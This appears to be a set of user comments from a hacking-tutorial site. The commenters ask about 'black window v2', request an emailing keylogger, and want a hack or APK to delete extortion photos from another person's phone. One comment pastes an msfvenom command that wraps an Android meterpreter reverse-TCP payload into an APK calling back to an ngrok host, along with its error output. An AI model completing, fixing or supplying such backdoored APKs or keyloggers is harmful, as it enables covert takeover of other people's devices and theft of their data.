how to install black window v2 2019 what is the uses of black window v2

can you please provide the keylogger file whick yo have once shown in your keylogger video that can send loggs directly to email . please provide me with the same .

msfvenom -x ~/Desktop/(some apk) -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=(my port) -o ~/Desktop/idea1.apk Using APK template: /root/Desktop/(output apk) [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload Error: Malformed version number string 2.4.0-dirty Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true HOW TO FIX THIS ERROR

Please can you help. I have a guy trying to extort money from me with pics he has of me on his phone. how can I delete It with a hack or by creating an apk or can someone create the apk for me